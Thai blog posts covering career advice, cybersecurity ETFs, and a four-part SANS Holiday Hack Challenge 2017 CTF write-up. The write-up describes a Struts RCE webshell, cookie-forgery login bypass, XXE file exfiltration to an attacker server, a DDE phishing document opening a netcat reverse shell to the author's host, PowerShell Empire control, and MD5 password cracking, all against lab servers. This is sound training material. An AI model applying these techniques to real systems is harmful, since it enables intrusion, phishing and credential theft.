6. Work Life Balance มันมีอยู่จริงไหม? เคยได้ยินว่าในสมัยก่อนนั้นสังคมทำงานเป็นแบบการแบ่งช่วงเวลาชัดเจน working hours 8am-5pm ซึ่งนั่นอาจจะเหมาะกับสมัยก่อนที่เป็นยุคปฏิวัติอุตสาหรรมเป็นคนไป operate เครื่องจักรในโรงงาน แล้วถัดมาก็เป็นยุคที่คนมักพูดถึง work life balance ซึ่งทำอย่างไรให้มันสมดุลกันในชีวิต ไม่ให้ทำงานหนักเกินไป แล้วก็ยุคปัจจุบันที่ทำ work life balance ลำบากละ เพราะว่าการสื่อสารมันรวดเร็วมาก หัวหน้า/ลูกค้ามีไรก็ส่ง line, email มาได้ตลอดเรียกว่ามีโอกาสที่จะต้องทำงานตลอดเวลา ถ้าจัดเวลา หรือ prioritize งานไม่เป็นก็สามารถที่พาตัวเองไปสู่ความพินาศได้พอสมควร ส่วนตัวคิดว่าตัวเองค่อนข้างโชคดีที่ไม่สนใจคำว่า Work Life Balance เท่าไร เพราะว่างานที่เราทำอยู่นั้นเป็นสิ่งที่เราชอบแล้วมันถูก Blend-in เข้ามาเป็นส่วนหนึ่งของชีวิตแล้ว เสาร์ อาทิตย์ ก็ทำงานไม่แปลก บางครั้งดีใจใกล้ถึงวันจันทร์ 55555 (แต่ไม่ใช่ช่วงนี้นะ)
7. Responsibility\*\* ความรับผิดชอบ แน่นอนว่าระดับ Rock Star ต้องมีความรับผิดชอบ เรื่องนี้เข้าใจง่ายแต่ทำยากในบางสถานการณ์ หลักการคือ ทำงาน/ส่งงานที่เรารับผิดชอบให้เสร็จเร็วที่สุด อะไรที่ไม่เป็นไปตามแผนที่วางไว้ควรจะบอกผู้เกี่ยวข้องให้ทราบ อย่าสร้าง \*\*negative surprise เด็ดขาด
8. Certificate ตอนแรกก็คิดว่าอยากมีดูท้าทายดี แต่ว่าพอมีไปซักพักก็คิดว่าเปลืองมากที่จะต้องคอยมา Maintain แล้วเวลาที่จะต้อง List บนนามบัตรยาว ๆ นี่ส่วนตัวไม่ค่อยชอบเลย ถ้าเราเคยคุยกันผ่าน Email จะยิ่งรู้เลยว่าเป็นคนที่ไม่เคยเขียน Certificate ลงใน Email signature เลย ดูเขิน ๆ นะ แต่ในบางสถานการณ์มันจำเป็นต้องใส่ก็ใส่ไป ซึ่งแนะนำว่าไม่ต้องสนใจหรอกว่าตัวเราเองคิดอย่างไรกับ Certificate มันอยู่ที่ว่าคนที่เราคุยด้วยเค้าสนใจมั้ยต่างหาก
9. Appearance การแต่งการ โดยทั่วไปกฎง่าย ๆ ก็คือการแต่งกายที่ดีกว่าลูกค้า/คนที่เราไปคุยด้วย 1 Step เช่น ลูกค้าใส่เสื้อ Polo เราก็ควรใส่เสื้อเชิ๊ต, ถ้าลูกค้าใส่เสื้อเชิ๊ต เราก็ควรใส่เสื้อเชิ๊ตผูก necktie แต่โดยส่วนตัวเป็นคนที่ชอบแต่งง่าย ๆ ยีนส์ กับ t-shirt ก็พอ ถ้าต้องแต่งตัวเป็นทางการมาก ๆ แล้วรู้สึกว่า performance ลดลง 30% 555 ตัวอย่างที่เค้ายกมาก็น่าสนใจพอสมควร
ถ้าเป็นเศรษฐีที่สร้างเนื้อสร้างตัวได้ด้วยตัวเอง แล้วเค้าเข้าประชุม Board โดยแต่งตัวแค่ T-shirt กับ กางเกงขาสั้น มันแปลว่าเค้าไม่เคารพคนอื่นเหรอ? มันอาจจะแปลว่าเค้าต้องการสื่อแรง ๆ ว่าที่เค้ามาเพราะว่าสกิล ความสามารถของเค้า ไม่ได้เกี่ยวอะไรกับการแต่งกายก็เป็นได้
ยกมา 9 ประเด็นก่อนละกัน ใครที่สนใจแนวนี้ แนะนำให้ไปอ่านมาก ๆ แต่มีคำเตือนนิดนึงคือพออ่านแล้วจะเจอหนังสือที่เค้า reference ต่ออีกหลายเล่ม ก็เตรียมตัวอ่านเพิ่มได้เลย
# Investment in Cybersecurity ETF
บทความนี้เป็นเรื่องการลงทุนในด้าน Cybersecurity นะครับ เนื่องจากเราเองก็ทำงานอยู่ในธุรกิจ Cybersecurity มาซักพักใหญ่ ๆ แล้ว มีความคิดมานานแล้วว่าอยากลงทุนในธุรกิจนี้บ้าง ซึ่งคำว่าลงทุน ในความหมายของคนส่วนใหญ่ง่ายที่สุด น่าจะไม่พ้นเรื่องลงทุนในหุ้น แต่ผมเองก็พยายามมองหาบริษัทในตลาดหลักทรัพย์ที่ทำธุรกิจด้านนี้โดยตรงก็ไม่เจอเลย (ต่อให้เจอก็อาจจะไม่อยากลงทุนด้วยเหตุผลอื่น ๆ อีกมากมาย)
ลงทุนอีกรูปแบบที่พอนึกออกคือไปร่วมลงทุนกับบริษัทที่ทำธุรกิจนี้ในไทย ซึ่งน่าจะไม่ใช่เรื่องง่าย เพราะธุรกิจนี้ถ้าเป็นกลุ่มที่ทำ Service ก็ไม่จำเป็นที่จะต้องใช้เงินลงทุนอะไรมากมาย ส่วนใหญ่จะใช้สกิลคนเป็นหลัก หรือว่าถ้าเป็นกลุ่มที่ขาย Product ส่วนใหญ่ก็เป็นบริษัทใหญ่มีเงินลงทุนอยู่แล้ว ซึ่งทำให้ผมรู้สึกว่ายากที่จะลงทุนอะไรด้านนี้ในประเทศไทย นอกจากว่าเปิดบริษัททำธุรกิจในด้านนี้เอง
แต่ว่าวันก่อนได้มีโอกาสไปร่วมฟังสัมมนาของ KBank เกี่ยวกับการลงทุนต่างประเทศ มี Product ที่เรียกว่า ETF (Exchange Traded Fund) ซึ่งน่าสนใจมาก สำหรับคนไม่คุ้นเคย ETF ลองอื่นดูตาม link ด้านล่างของ SET นะครับ หลัก ๆ แล้ว ETF คือกองทุนที่ถูก List อยู่ในตลาดสามารถทำการซื้อ-ขาย ได้ตลอดเวลาที่ตลาดทำการ ซึ่งนั่นทำให้ราคาของ ETF เปลี่ยนแปลงในเวลาทำการ แตกต่างจากกองทุนทั่วไปที่จะต้องรอราคา ณ สิ้นวันทำการอย่างเดียว ในตลาดหลักทรัพย์ของประเทศไทยนั้นมี ETF ที่ชื่อ ThaiDEX (TDEX) ที่มีการนำเงินไปลงทุนในหุ้นกลุ่ม SET50 นั่นหมายความว่าการซื้อ TDEX ก็เปรียบเสมือนเอาเงินของเราไปกระจายลงทุนใน 50 หุ้นที่ดีที่สุดของ SET
แต่ในตลาดของประเทศอื่น ๆ นั้นมี ETF อีกหลายประเภทมาก เช่น ETF ที่ลงทุนในธุรกิจตาม Sector ต่าง ๆ แน่นอนว่า 1 ในนั้นก็มี ETF ที่ลงทุนด้าน Cybersecurity ซึ่งเท่าที่เห็นอยู่ตอนนี้มี ETF อยู่ 2 อันคือ
- PureFunds ISE Cyber Security ETF (HACK)
- First Trust Nasdaq Cybersecurity ETF (CIBR)
ซึ่งผลตอบแทนปี 2016 ค่อนข้างน่าสนใจมาก ถ้าไปดูราคา ETF ตัวนี้ก็จะเห็นความเกี่ยวโยงของราคาเทียบกับเหตุการณ์ต่าง ๆ ด้าน Cybersecurity เช่น WannaCry หรือแม้แต่ Equifax ที่โดน Hack ไปเมื่อไม่นานมานี้
แล้ว ETF 2 ตัวนี้ไปลงทุนอะไรบ้าง สามารถดูรายละเอียดได้ตามด้านล่าง
- PureFunds ISE Cyber Security ETF (HACK)
- First Trust Nasdaq Cybersecurity ETF (CIBR)
ถ้าอ่านแล้วสนใจอยากลงทุนใน ETF พวกนี้ ลองติดต่อกับบริษัทหลักทรัพย์ที่ใช้อยู่นะครับ บางที่น่าจะมีให้เปิดพอร์ทแบบ offshore
> ป.ล. การลงทุนมีความเสี่ยง โปรดศึกษาข้อมูลก่อนตัดสินใจลงทุน
Ref: :br[https://www.set.or.th/education/th/begin/etf\\\_content01.pdf](https://www.set.or.th/education/th/begin/etf%5C_content01.pdf){rel=""nofollow""}:br{rel=""nofollow""}
# SANS Holiday Challenge 2017 Write-up Part 1
ช่วงเทศกาล Christmas ของทุกปีทาง SANS และ Counterhack จะมีการจัด CTF ที่เรียกว่า SANS Holiday Hack Challenge เป็นประจำ ซึ่งในปี 2017 สามารถดูรายละเอียดได้ที่ {rel=""nofollow""} ซึ่งในปีนี้เห็นว่ามีคนที่สมัครเล่นประมาณ 10000 accounts
คำถามในปีนี้มีทั้งหมด 9 ข้อ ได้แก่
1. Visit the North Pole and Beyond at the Winter Wonder Landing Level to collect the first page of The Great Book using a giant snowball. What is the title of that page?
2. Investigate the Letters to Santa application at {rel=""nofollow""}. What is the topic of The Great Book page available in the web root of the server? What is Alabaster Snowball’s password?
3. The North Pole engineering team uses a Windows SMB server for sharing documentation and correspondence. Using your access to the Letters to Santa server, identify and enumerate the SMB file-sharing server. What is the file server share name?
4. Elf Web Access (EWA) is the preferred mailer for North Pole elves, available internally at {rel=""nofollow""}. What can you learn from The Great Book page found in an e-mail on that server?
5. How many infractions are required to be marked as naughty on Santa’s Naughty and Nice List? What are the names of at least six insider threat moles? Who is throwing the snowballs from the top of the North Pole Mountain and what is your proof?
6. The North Pole engineering team has introduced an Elf as a Service (EaaS) platform to optimize resource allocation for mission-critical Christmas engineering projects at {rel=""nofollow""}. Visit the system and retrieve instructions for accessing The Great Book page from C:\greatbook.txt. Then retrieve The Great Book PDF file by following those directions. What is the title of The Great Book page?
7. Like any other complex SCADA systems, the North Pole uses Elf-Machine Interfaces (EMI) to monitor and control critical infrastructure assets. These systems serve many uses, including email access and web browsing. Gain access to the EMI server through the use of a phishing attack with your access to the EWA server. Retrieve The Great Book page from C:\GreatBookPage7.pdf. What does The Great Book page describe?
8. Fetch the letter to Santa from the North Pole Elf Database at {rel=""nofollow""}. Who wrote the letter?
9. Which character is ultimately the villain causing the giant snowball problem. What is the villain’s motive?
ซึ่งในเกมจะมีหลาย ๆ ส่วนทั้งที่เป็นการโจมตี Server, การเล่น Minigame ต่าง ๆ โดยถ้าจะเล่นให้ครบทั้งหมดจะมี 3 ส่วนหลักได้แก่ :br
1.Cranberrypi Terminal Challenge -> เป็นแนวการฝึก skill linux command line เพื่อแก้ปัญหา :br
2.Snowball game -> Mini game ที่ต้องพยายามหาทางพา snowball ไปจุดที่เราต้องการ :br
3.Collecting 7 pages of the Great Book -> ต้องหาหน้าหนังสือที่กระจายออกไปทั่วเกม เพื่อใช้เอามาตอบคำถามใน CTF ซึ่งแต่ละหน้าก็จะกระจายอยู่ทั้งในส่วนของ snowball game และ server ต่าง ๆ ที่ถูกเตรียมไว้ให้โจมตี
เริ่มจากโจทย์ข้อแรก
---
1. Visit the North Pole and Beyond at the Winter Wonder Landing Level to collect the first page of The Great Book using a giant snowball. What is the title of that page?
ใน snowball game ด่าน Winter Wonder Landing จะมี Page อยู่ สังเกตได้จากรูปด้านล่างทางขวามือ เมื่อกลิ้ง snowball ไปทับก็จะได้ Page ที่ 1 มาโดยมี Title คือ "About This Book"
---
ถัดไปขอพูดถึงส่วนที่เป็น Cranberrypi challenge ซึ่งจะอยู่ใน snowball mini game ทั้ง 9 ด่าน ซึ่งในแต่ละด่านจะมีรูป Cranberry (ตรงกลางของรูปด้านบน) เมื่อกดเข้าไปจะมี Terminal เด้งขึ้นมาให้เราเล่น
Winconceivable: The Cliffs of Winsanity
โดยเป้าหมายของการผ่านด่านนี้คือต้อง kill process ที่ชื่อว่า "santaslittlehelperd" แต่ว่าเราไม่สามารถใช้คำสั่ง kill ได้เลย เนื่องจากว่ามีการตั้งค่า Alias ในไฟล์ .bashrc โดยให้ kill = ‘true’ พอพิมพ์คำว่า kill ไปก็จะเป็นการพิมพ์ ‘true’ ไม่ใช่การเรียกคำสั่ง kill ทำให้ไม่สามารถ kill process ได้
จากนั้นจึงใช้คำสั่ง find เพื่อหาว่า kill อยู่ที่ไหน
ตอนนี้เจอแล้วว่าอยู่ที่ /bin/kill ดังนั้นจึงเรียกคำสั่งที่ path นี้เพื่อทำการ kill process
Winter Wonder Landing
โจทย์ของด่านนี้คือต้องการให้ execute binary ชื่อว่า elftalkd ซึ่งไม่รู้ว่าไฟล์นี้อยู่ที่ไหน จะใช้คำสั่ง find ก็เกิด error
ดังนั้นจึงลองใช้คำสั่ง whereis เพื่อหาว่ามีคำสั่ง find ที่ไหนบ้าง จะได้เรียกใช้เพื่อหา elftalkd
เจอ find ที่ /usr/bin/find
เจอ elftalkd แล้วก็แค่เรียกไฟล์ตรงๆ
Cryokinetic Magic
ด่านนี้ต้องการให้ execute binary ชื่อ CandyCaneStriper
ซึ่งปัญหาคือเรื่อง permission ของ CandyCaneStriper (เราเป็น elf แต่ไฟล์ owner เป็น root) และ Binary ของ chmod ที่มีค่าเป็น 0 (ไม่มีไส้ใน)
ถ้าเล่นตาม Hint ในเกมจะ reference ถึงการใช้ dynamic linker ในการ execute file -> {rel=""nofollow""}
แต่ระหว่างเล่นผมใช้อีกวิธีคือ copy file CandyCaneStriper ไปที่ temp และ copy file ที่ elf มี permission ในการ execute ไปที่ temp (ในตัวอย่างนี้คือ chmod นั่นแหละ) แล้วทำการ copy ไส้ในของ CandyCaneStriper ไปยัดไว้ในไฟล์ที่เรามีสิทธิ write และ execute จากนั้นเราก็ execute ไฟล์ที่เรามีสิทธิ
There’s snow place like home
ด่านนี้ต้องการให้ execute binary ชื่อ trainstartup แต่ว่าปัญหาคือไฟล์นี้ไม่ได้ถูก compile มาเพื่อเครื่องที่เราใช้ แต่ถูก compile มาสำหรับ ARM cpu ซึ่งเราสามารถตรวจสอบได้โดยใช้คำสั่ง file จะพบว่าเป็น ARM จากนั้นเราสามารถ execute ได้โดยใช้ qemu ซึ่งเป็น emulator โดยระบุให้ qemu ใช้ arm เพื่อ execute file นี้
Bumble bounce
Note: ด่านนี้มี The Great Book Page 5 อยู่ด้วย
สำหรับด่านนี้ต้องการให้เราตรวจสอบ access.log เพื่อหา user-agent ของ web browser ที่มีการใช้น้อยที่สุด โดย access.log เป็น file web access log ที่เก็บ HTTP request header ไว้
command ที่จะใช้ในการหาคำตอบที่ใช้คือ
- cut ไว้ตัดคำตาม delimiter
- uniq ไว้ดึงค่า string ที่เป็น unique รวมถึงสามารถใช้ในการ count ได้ด้วย (-c)
- sort คำสั่งสำหรับ sorting ทั่วไป
คำตอบคือ Dillo
I don’t think we’re in Kansas anymore
โจทย์สำหรับด่านนี้คือให้หาชื่อเพลงที่ได้รับการกด like มากที่สุด ซึ่งข้อมูลเก็บอยู่ใน file database หลัก ๆ แล้วเป้าหมายคือการให้ฝึกใช้ skill sql แบบ command line โดยเริ่มจากใช้ sqlite3 ดู schema ของ database
ลอง query ดูเนื้อหาของแต่ละ table
จากนั้นก็ใช้คำสั่ง group by, count เพื่อนับข้อมูล แล้วก็ search หาเพลง
คำตอบคือเพลง Stairway to Heaven
Oh wait! May be we are
โจทย์ข้อนี้คือต้องการให้ restore content ของ shadow\.bak ไปที่ shadow ซึ่งปัญหาของข้อนี้คือ เราเป็น elf แต่ file shadow นั้น owner\:group เป็น root\:root ในขณะที่ shadow\.bak นั้น owner\:group เป็น root\:shadow ซึ่ง elf ไม่ควรจะเขียนทับได้ (restore) นอกจากนี้ได้ลองเปิดไฟล์ sudoers ดูพบว่ามีอยู่ 1 บรรทัดที่บอกว่า elf สามารถใช้สิทธิ shadow ในการเรียกคำสั่ง find ได้
ใช้คำสั่ง sudo -g :group[find เพื่อให้ elf ใช้สิทธิ shadow ในการเรียกคำสั่ง find นอกจากนี้ใช้ option -exec ของคำสั่ง find เพื่อ execute command]{name=""}
We’re off to see the …
โจทย์ข้อนี้คือมี binary ชื่อ isit42 ที่จะ random เลขขึ้นมาเรื่อย ๆ เป้าหมายเราคือให้มีการ random เลขให้มีค่า 42 ให้ได้ ซึ่งบางคนเลือกใช้วิธี bruteforce โดยการสร้าง loop เรียก isit42 ไปเรื่อย ๆ
ใน hint มีการพูดถึงเรื่อง LD\_Preload {rel=""nofollow""} ซึ่งคล้าย ๆ กับว่าเป็นการ override บาง function ของ binary นั้น ซึ่งจะต้องมีความเข้าใจถึงโครงสร้างของ function ที่มีการเรียกใช้ รวมไปถึงตอนเรียก binary นั้นจะต้องมีการเรียกคำสั่ง LD\_Preload ด้วย
ใน challenge นี้มีตัวอย่าง source code บางส่วนของ isit42 มาให้ด้วย ซึ่งทำให้เราเข้าใจถึง functionที่มีการเรียกใช้
มีการเรียกใช้ function rand() ซึ่งจากการดูข้อมูลพบว่า function ดังกล่าวมีการประกาศคือ
int rand(void)
ดังนั้นจึงเขียน code ขึ้นมาใหม่ ให้ function นี้ return ค่า 42 ทุกครั้ง โดยตอน compile จะมี option เพิ่มคือ -shared -fPIC และตอนเรียก isit42 จะใช้คำสั่ง LD\_PRELOAD เรียก file ที่เราเขียน พร้อมทั้ง isit42
จบในส่วนของ Part 1 ที่เน้นที่ Cranberry pi terminal เป็นหลัก
# SANS Holiday Challenge 2017 Write-up Part 2
ส่วนนี้จะพูดถึง Snowball game ถ้าใครเล่น snowball game แบบใช้ skill ปกติเล่น นี่จะอารมณ์เสียมากแน่ ๆ เพราะว่าใช้ resource ของเครื่องเยอะมาก และมีความยากในการเล่นสูงมาก โดยเฉพาะหากต้องการเล่นให้ได้ตาม goal ในเกมทั้งหมด
เมื่อเล่นจบเกมในแต่ละครั้งจะมีการส่ง HTTP request ไปที่ server เพื่อทำการ update score โดยหน้าตาของ HTTP request จะคล้าย ๆ format ด้านล่าง
ในส่วนของ HTTP response จาก server จะเป็นไปตามด้านล่าง
ซึ่งถ้านำส่วน body ของ HTTP request มา decode จะช่วยให้ดูง่ายขึ้น
ซึ่งพบว่าใน Body นั้นจะมีการส่ง series ของ event ไป โดยแต่ละ event จะประกอบด้วย 3 ส่วน ได้แก่
- clientEvents\[i]\[type]
- clientEvents\[i]\[name]
- clientEvents\[i]\[stepId]
โดยแต่ละตัวแปรมีความสำคัญดังนี้
- i หมายถึงเลข event เป็น running number
- type หมายถึง event type ที่เกิดขึ้นในขณะเล่นเกม
- name หมายถึง ค่า value ที่จะต้องตรงกับค่า type ตาม Remarks ในตารางด้านบน
- stepID หมายถึง incremental value คาดว่าเหมือนเป็น time tick
จากตัวอย่าง HTTP Response ข้างต้น
พบว่ามีใน result มีค่าเป็น false สำหรับ 2 events คือ cleartoland และ waypoints
เมื่อเราเข้าใจถึงโครงสร้างของ HTTP Request ที่ใช้ส่งไป update ค่าแล้วเราทำการ craft HTTP Request ใหม่ ให้เป็นไปตามด้านล่าง
นี่คือ HTTP Response ใหม่ที่ได้รับจาก Server ซึ่งพบว่าทุก Event มีค่าเป็น True
ผลลัพธ์หน้าจอที่ Web browser
สามารถใช้เทคนิคนี้เพื่อผ่านทุกด้านได้ (ถ้าผ่านด่านแบบทั่วไปที่แต่ละ stage จะเป็นสีเขียว แต่ถ้าผ่านทุก objective จะเป็นสีเหลือง)
มีข้อมูลแถมนิดหน่อย: ในเกมของปี 2017 นี้ตอนแรก SANS ทำให้มีคะแนนเต็ม 86 คะแนน แต่ภายหลังลดเหลือ 85 คะแนน ซึ่ง 1 คะแนนที่หายไปคือหากใครสามารถ hack การใช้ item ในแต่ละด่านได้จะได้คะแนนนั้นเพิ่ม (item ปกติจะมาจากการเล่น Cranberry pi terminal) แต่ถ้าเราเล่น Cranberry pi ครบแล้วโดยที่ยังไม่ได้ลอง hack ก็จะไม่มีทางได้คะแนนนั้น สุดท้ายทีมงานเลยตัดคะแนนนั้นออกไป
# SANS Holiday Challenge 2017 Write-up Part 3
ส่วนนี้จะยาวและยากกว่าที่ผ่านมาทั้งหมด เริ่มจากคำถามที่ 2
Investigate the Letters to Santa application at {rel=""nofollow""}. What is the topic of The Great Book page available in the web root of the server? What is Alabaster Snowball’s password?
ทำการเข้า {rel=""nofollow""} แล้วเปิดดู source code ของ page นั้นจะพบว่ามี link ไป development server ตามด้านล่าง
ลอง solve DNS ของทั้ง 2 servers ดูพบว่าชี้ไปที่ IP Address เดียวกัน
ซึ่ง Virtual host ตัว dev.northpolechristmastown.com นั้นใช้ Apache Struts
ปี 2017 มีช่องโหว่ Struts 2 อันที่น่าสนใจคือ CVE-2017-5638 และ CVE-2017-9805 ขั้นตอนถัดไปจะใช้ช่องโหว่ remote code execution เพื่อสร้าง webshell บน Server โดย
1. ใช้ Exploit code จาก {rel=""nofollow""}
2. ทำความเข้าใจเรื่องการ encode, decode string ต่างๆ ก่อนเพื่อไม่ให้ถูก interpret ผิดพลาด โดยศึกษาได้จาก {rel=""nofollow""}
3. เลือกใช้ webshell ง่ายๆ {rel=""nofollow""}
4. เราจะทำการ encode webshell ด้วย base64 ก่อนจากนั้นจะนำไป decode บน server และเขียน ลง File โดยใช้คำสั่ง echo, decode, tee
หน้าตาของ HTTP request ที่ถูกส่งออกไปเพื่อสร้าง webshell บนระบบ
ทำการเข้า webshell ที่เราเพิ่งสร้างที่ {rel=""nofollow""}
ลอง ls เพื่อ list file บนเครื่อง
ใช้คำสั่ง grep –r "pass" /opt/apache-tomcat/ เพื่อหาคำว่า pass ใน folder ดังกล่าว ทำให้พบ password คือ stream\_unhappy\_buy\_loss
ตอบคำตอบข้อ 2 คือ On the topic of flying animals และ stream\_unhappy\_buy\_loss
ถัดไปคำถามที่ 3
The North Pole engineering team uses a Windows SMB server for sharing documentation and correspondence. Using your access to the Letters to Santa server, identify and enumerate the SMB file-sharing server. What is the file server share name?
ใช้ SSH ไปที่ l2s.northpolechristmastown.com โดยใช้ credential ของ Alabaster คือ alabaster\_snowball\:stream\_unhappy\_buy\_loss จากนั้นทำการ scan port โดยใช้ -Pn (หมายถึงว่าไม่ต้อง ping ก่อน scan เพราะปกติถ้า ping ไม่เจอแล้วจะไม่ scan หากเครื่องปิด Ping แล้วไม่ใส่ option นี้ก็จะ scan ไม่เจอ)
เจอ 2 servers ที่เปิด port 445 คือ 10.142.0.7 และ 10.142.0.8 ซึ่ง server ที่อยู่ใน scope ของข้อนี้คือ 10.142.0.7
เนื่องจาก Server นี้เป็นเครื่องที่อยู่ใน internal network และไม่สามารถ access ได้จาก Internet ทำให้ต้องใช้วิธีการทำ SSH Tunneling ผ่านเครื่อง l2s.northpolechristmastown.com (35.185.84.51) โดยใช้ command คือ
\#ssh -L : :local[: :remote[: :remote[ :username[@ :server]]{port=""}]{ip=""}]{port=""}
หลังจากทำ tunneling แล้วสามารถใช้ smbclient ในการ connect เข้า localhost ของเราผ่าน port 445 ได้
พบว่ามี share name ชื่อว่า FileStor ซึ่งเป็นคำตอบของข้อนี้
คำถามที่ 4 Elf Web Access (EWA) is the preferred mailer for North Pole elves, available internally at {rel=""nofollow""}. What can you learn from The Great Book page found in an e-mail on that server?
เริ่มจากทำ SSH tunneling ไปที่ {rel=""nofollow""} พบว่าเป็นหน้า email login ซึ่งไม่สามารถใช้ password ของ Alabaster ที่ใช้ก่อนหน้านี้ได้แล้ว
เข้าหน้า robots.txt พบ path ที่น่าสใจคือ /cookie.txt
ดูเหมือนว่าข้อมูลใน file นี้จะเป็นการตรวจสอบ cookie ของระบบ hint ในเกมมีการพูดถึงเรื่องของการสร้าง ciphertext ใน cookie ให้มีความยาว 16 bytes ทดลองสร้างและนับ โดยใช้ wc
หลังจากนั้นนำค่า ci\[phertext นี้ไป set ใน cookie โดยเราสามารถใช้ name เป็นค่า email ของใครก็ได้
จะพบว่าสามารถ bypass เข้าสู่หน้า email ของ user นั้น ๆ ได้ทันที
พบว่ามีรายละเอียดของ The great book page หน้าที่ 4 ตามเมลด้านล่าง
คำตอบของข้อนี้คือ The rise of the lollipop guild
คำถามข้อที่ 5 How many infractions are required to be marked as naughty on Santa’s Naughty and Nice List? What are the names of at least six insider threat moles? Who is throwing the snowballs from the top of the North Pole Mountain and what is your proof?
ข้อนี้ไม่ค่อยแน่ใจในคำตอบเท่าไรนัก แต่ส่วนใหญ่ไม่เกี่ยวข้องกับด้านเทคนิค เป็นการวิเคราะห์ข้อมูลรวมถึงเรื่องสถิติซะมากกว่า ไว้รอ Official Answer จาก SANS ดีกว่าครับ 555
เดี๋ยวไว้มาต่อข้อที่เหลือใน post หน้านะครับ ?
# SANS Holiday Challenge 2017 Write-up Part 4 (Final part)
คำถามข้อที่ 6
The North Pole engineering team has introduced an Elf as a Service (EaaS) platform to optimize resource allocation for mission-critical Christmas engineering projects at {rel=""nofollow""}. Visit the system and retrieve instructions for accessing The Great Book page from C:\greatbook.txt. Then retrieve The Great Book PDF file by following those directions. What is the title of The Great Book page?
ข้อนี้ต้องใช้เทคนิค XXE ซึ่งมาแรงมากเลย อยู่อันดับ 4 ใน OWASP Top 10 2017 [A4:2017-XML External Entities (XXE)](https://www.owasp.org/index.php/Top%5F10-2017%5FA4-XML%5FExternal%5FEntities%5F%28XXE%29 "Top 10-2017 A4-XML External Entities (XXE)"){rel=""nofollow""}
แนะนำให้อ่านเพิ่มใน link ของ SANS ที่ {rel=""nofollow""}
การทำข้อนี้เริ่มจากทำ SSH tunneling เหมือนเดิมไปที่ {rel=""nofollow""} จะพบว่ามีหน้าตาเป็น Web application ที่มี function ให้ upload XML file ขึ้นไปได้
ทำการสร้าง file upload.xml ซึ่ง file นี้จะ upload ไปที่ server และหน้านี้ของ file นี้คือให้ไปเรียก file xxx.dtd ที่เครื่อง 10.142.0.11 (l2s)
ที่เครื่อง 10.142.0.11 (l2s) ซึ่งเราสามารถ SSH เข้าไปได้อยู่แล้ว ทำการสร้าง file ที่มี content ตามรูปด้านล่าง ซึ่งหน้าที่ของ file นี้คือให้อ่าน content ของ C:/greatbook.txt และเอามา append เป็นส่วนหนึ่งของ HTTP request ที่จะส่งมาที่เครื่อง l2s ถ้าทำสำเร็จเราจะสามารถเห็น content ของ file นั้นใน web server access log
ทำการเปิด web server service ที่เครื่อง 10.142.0.11 โดยในที่นี้จะใช้ python -m SimpleHTTPServer หลังจากนั้นทำการ upload upload.xml ไปที่ EaaS application
พบว่ามี access log เพิ่มขึ้นมา ซึ่งเป็น content ของ file C:/greatbook.txt ที่เราระบุไว้ใน xxx.dtd เมื่อทราบ path แล้วเราสามารถ access เพื่ออ่าน The Greatbook page 6 ได้
โดยคำตอบของข้อนี้คือ The dreaded inter-dimensional tornadoes
คำถามข้อที่ 7 Like any other complex SCADA systems, the North Pole uses Elf-Machine Interfaces (EMI) to monitor and control critical infrastructure assets. These systems serve many uses, including email access and web browsing. Gain access to the EMI server through the use of a phishing attack with your access to the EWA server. Retrieve The Great Book page from C:\GreatBookPage7.pdf. What does The Great Book page describe?
ข้อนี้ต้องทำความรู้จัก DDE (Dynamic Data Exchange) ซึ่งเป็นเทคนิคที่เป็นข่าวดังในปี 2017 ซึ่งปกติ Hacker มักใช้ file ตระกูล MS Office เช่น Word, Excel ในการปล่อย malware ต่าง ๆ ผ่าน Phishing Campaign โดยปกติก็จะมีการใช้ macro function เพื่อเขียนอะไรไม่ดีๆ แต่ด้วย function DDE ทำให้ไม่ต้องใช้ macro ก็สามารถที่จะ run คำสั่งบนเครื่องได้ทันทีหลังจากเปิด file
โดยในข้อนี้เราต้องสร้าง file DOCX เพื่อโจมตี โดย file นี้จะถูกส่งผ่าน email ซึ่งจะต้องระบุให้ถูกต้องด้วยว่าต้องตั้ง subject email ว่าอย่างไร
รูปถัดไปเป็น content ของ file DOCX ที่ถูกฝังคำสั่งให้เรียก netcat command มาที่เครื่อง server ของผมที่ตั้งไว้บน Internet โดยเครื่องตั้งอยู่ที่ IP Address 188.166.238.140
บนเครื่อง 188.166.238.140 ทำการตั้ง netcat listener ไว้
ถ้าทำถูกต้อง รอซักพักจะมี connection วิ่งเข้ามา (เนื่องจากใน CTF นี้เค้าตั้ง schedule ในการมากวาด email ไว้เลยทำให้ต้องรอ)
เมื่อได้ shell ของ windows แล้วผมเลือกใช้ powershellempire ([https://www.powershellempire.com)](https://www.powershellempire.com/){rel=""nofollow""}
เนื่องจากมี Function ต่าง ๆ มากมาย รวมถึง Function ที่ใช้ในการ download file จาก remote server ด้วย โดยที่เครื่อง server ของเราต้องมีการตั้ง listener ของ powershellempire ไว้แล้วนำ agent ไป run ที่เครื่องเป้าหมาย จากนั้นเราจะสามารถ control เครื่องเป้าหมายได้
รูปด้านล่างคือตอนที่ได้ shell จากเครื่องเป้าหมายและนำ agent ของ powershellempire ไป run โดยการ run นี้จะผ่านทางคำสั่งของ powershell ซึ่งคำสั่งยาว ๆ นี้จะถูกสร้างให้อัตโนมัติตอนที่เราใช้งาน powershellempire
รูปด้านล่างคือมี agent มา connect ที่เครื่องเราแล้ว
ขั้นตอนถัดไปเราสามารถที่จะ control เครื่องเป้าหมายได้ โดยในที่นี้เราจะทำการ download The Greatbook page
คำตอบของข้อนี้คือ Witches of Oz
คำถามข้อที่ 8
Fetch the letter to Santa from the North Pole Elf Database at {rel=""nofollow""}. Who wrote the letter?
เครื่อง edb.northpolechristmastown.com มีการเปิด LDAP port ไว้และมีการ configuration ที่ไม่ดีทำให้สามารถอ่านข้อมูลได้โดยไม่ต้อง authenticate ในข้อนี้ใช้ LDAP client เพื่อ connect ไปที่ Server ซึ่งตามรูปด้านล่างจะใช้ JXplorer
หลังจาก connect เข้าไปได้แล้วจะพบว่าแต่ละ user จะมีค่า userPassword ซึ่งเป็น MD5 hash เราสามารถนำค่านี้มาหาค่า plaintext ได้โดยใช้ rainbow table ใน case นี้ใช้ service จาก {rel=""nofollow""}
พบว่ามี 1 hash ที่สามารถแกะได้ โดย plaintext คือ 1iwantacookie ซึ่ง password นี้เป็นของ Mr.Santa Claus
ใช้ credential นี้ Login เข้า {rel=""nofollow""} ผ่านทางหน้า web
ทำการเข้าเมนูเพื่ออ่านจดหมาย โดยก่อนที่จะอ่านได้จะมีให้ใส่ password ของ Mr.Santa Claus อีกครั้งหนึ่ง
ซี่งจากข้อมูลในจดหมายนี้พบว่า คำตอบของข้อนี้คือ The wizard of Oz
